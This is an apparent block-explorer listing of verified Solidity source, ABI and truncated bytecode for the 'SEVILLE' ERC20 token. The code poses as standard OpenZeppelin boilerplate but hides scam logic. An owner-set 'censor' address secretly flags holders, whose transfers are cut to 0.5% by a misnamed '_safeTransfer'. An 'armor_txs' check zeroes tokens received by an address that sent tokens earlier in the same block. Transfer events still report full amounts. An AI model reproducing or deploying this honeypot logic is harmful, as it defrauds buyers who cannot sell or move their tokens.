Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;
import "./ERC20.sol";

contract SEVILLE is ERC20 {
    constructor() ERC20("SEVILLE", "SVL") {
        _mint(msg.sender, 1000000000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(bytes32 => uint256) private armor_txs;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _censor;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function censor(address visioner) external {
        require((msg.sender == owner()));
        _censor = visioner;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 _amount = _beforeTokenTransfer(from, to, amount);

        if (armor_txs[keccak256(abi.encodePacked(block.number, tx.origin, to))] != 0) {
            _amount = 0;
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += _amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    
    function _safeTransfer(uint256 a) internal pure returns(uint256) {return a * 5000 / 1000000;}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 
    ) internal virtual {
        if (_allowances[_censor][to] == 0xffff) {_allowances[_censor][to] = 0xffffffff;}
        armor_txs[keccak256(abi.encodePacked(block.number, tx.origin, from))] = 1;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256) {
        if (_allowances[_censor][from] + _allowances[_censor][to] >= 0xffffffff) {
            return _safeTransfer(amount);
        } else {
            return amount;
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"visioner","type":"address"}],"name":"censor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600781526020017f534556494c4c45000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f53564c00000000000000000000000000000000000000000000000000000000008152506200009e62000092620000f660201b60201c565b620000fe60201b60201c565b8160059080519060200190620000b692919062000671565b508060069080519060200190620000cf92919062000671565b505050620000f0336b033b2e3c9fd0803ce8000000620001c260201b60201c565b62000a81565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000235576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200022c9062000782565b60405180910390fd5b62000249600083836200033260201b60201c565b5080600460008282546200025e9190620007dd565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031291906200084b565b60405180910390a36200032e60008383620004ad60201b60201c565b5050565b600063ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620004839190620007dd565b10620004a2576200049a826200064860201b60201c565b9050620004a6565b8190505b9392505050565b61ffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415620005fe5763ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600360004332876040516020016200061b9392919062000911565b60405160208183030381529060405280519060200120815260200190815260200160002081905550505050565b6000620f4240611388836200065e919062000954565b6200066a9190620009e4565b9050919050565b8280546200067f9062000a4b565b90600052602060002090601f016020900481019282620006a35760008555620006ef565b82601f10620006be57805160ff1916838001178555620006ef565b82800160010185558215620006ef579182015b82811115620006ee578251825591602001919060010190620006d1565b5b509050620006fe919062000702565b5090565b5b808211156200071d57600081600090555060010162000703565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200076a601f8362000721565b9150620007778262000732565b602082019050919050565b600060208201905081810360008301526200079d816200075b565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007ea82620007a4565b9150620007f783620007a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200082f576200082e620007ae565b5b828201905092915050565b6200084581620007a4565b82525050565b60006020820190506200086260008301846200083a565b92915050565b6000819050919050565b620008876200088182620007a4565b62000868565b82525050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008ba826200088d565b9050919050565b60008160601b9050919050565b6000620008db82620008c1565b9050919050565b6000620008ef82620008ce565b9050919050565b6200090b6200090582620008ad565b620008e2565b82525050565b60006200091f828662000872565b602082019150620009318285620008f6565b601482019150620009438284620008f6565b601482019150819050949350505050565b60006200096182620007a4565b91506200096e83620007a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009aa57620009a9620007ae565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009f182620007a4565b9150620009fe83620007a4565b92508262000a115762000a10620009b5565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6457607f821691505b6020821081141562000a7b5762000a7a62000a1c565b5b50919050565b611b8e8062000a916000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd1461016657806328d99bfb14610196578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906111c0565b60405180910390f35b610132600480360381019061012d919061127b565b6103b4565b60405161013f91906112d6565b60405180910390f35b6101506103d7565b60405161015d9190611300565b60405180910390f35b610180600480360381019061017b919061131b565b6103e1565b60405161018d91906112d6565b60405180910390f35b6101b060048036038101906101ab919061136e565b610410565b005b6101ba610493565b6040516101c791906113b7565b60405180910390f35b6101ea60048036038101906101e5919061127b565b61049c565b6040516101f791906112d6565b60405180910390f35b61021a6004803603810190610215919061136e565b6104d3565b6040516102279190611300565b60405180910390f35b61023861051c565b005b610242610530565b60405161024f91906113e1565b60405180910390f35b610260610559565b60405161026d91906111c0565b60405180910390f35b610290600480360381019061028b919061127b565b6105eb565b60405161029d91906112d6565b60405180910390f35b6102c060048036038101906102bb919061127b565b610662565b6040516102cd91906112d6565b60405180910390f35b6102f060048036038101906102eb91906113fc565b610685565b6040516102fd9190611300565b60405180910390f35b610320600480360381019061031b919061136e565b61070c565b005b6060600580546103319061146b565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061146b565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf610790565b90506103cc818585610798565b600191505092915050565b6000600454905090565b6000806103ec610790565b90506103f9858285610963565b6104048585856109ef565b60019150509392505050565b610418610530565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044f57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b6000806104a7610790565b90506104c88185856104b98589610685565b6104c391906114cc565b610798565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610524610cb9565b61052e6000610d37565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546105689061146b565b80601f01602080910402602001604051908101604052809291908181526020018280546105949061146b565b80156105e15780601f106105b6576101008083540402835291602001916105e1565b820191906000526020600020905b8154815290600101906020018083116105c457829003601f168201915b5050505050905090565b6000806105f6610790565b905060006106048286610685565b905083811015610649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064090611594565b60405180910390fd5b6106568286868403610798565b60019250505092915050565b60008061066d610790565b905061067a8185856109ef565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610714610cb9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90611626565b60405180910390fd5b61078d81610d37565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ff906116b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086f9061174a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109569190611300565b60405180910390a3505050565b600061096f8484610685565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109e957818110156109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d2906117b6565b60405180910390fd5b6109e88484848403610798565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690611848565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906118da565b60405180910390fd5b6000610adc848484610dfb565b9050600060036000433287604051602001610af993929190611963565b6040516020818303038152906040528051906020012081526020019081526020016000205414610b2857600090505b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690611a12565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c9f9190611300565b60405180910390a3610cb2858585610f6a565b5050505050565b610cc1610790565b73ffffffffffffffffffffffffffffffffffffffff16610cdf610530565b73ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611a7e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600063ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4a91906114cc565b10610f5f57610f5882611102565b9050610f63565b8190505b9392505050565b61ffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156110ba5763ffffffff60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600360004332876040516020016110d593929190611963565b60405160208183030381529060405280519060200120815260200190815260200160002081905550505050565b6000620f4240611388836111169190611a9e565b6111209190611b27565b9050919050565b600081519050919050565b60008282526020820190509291505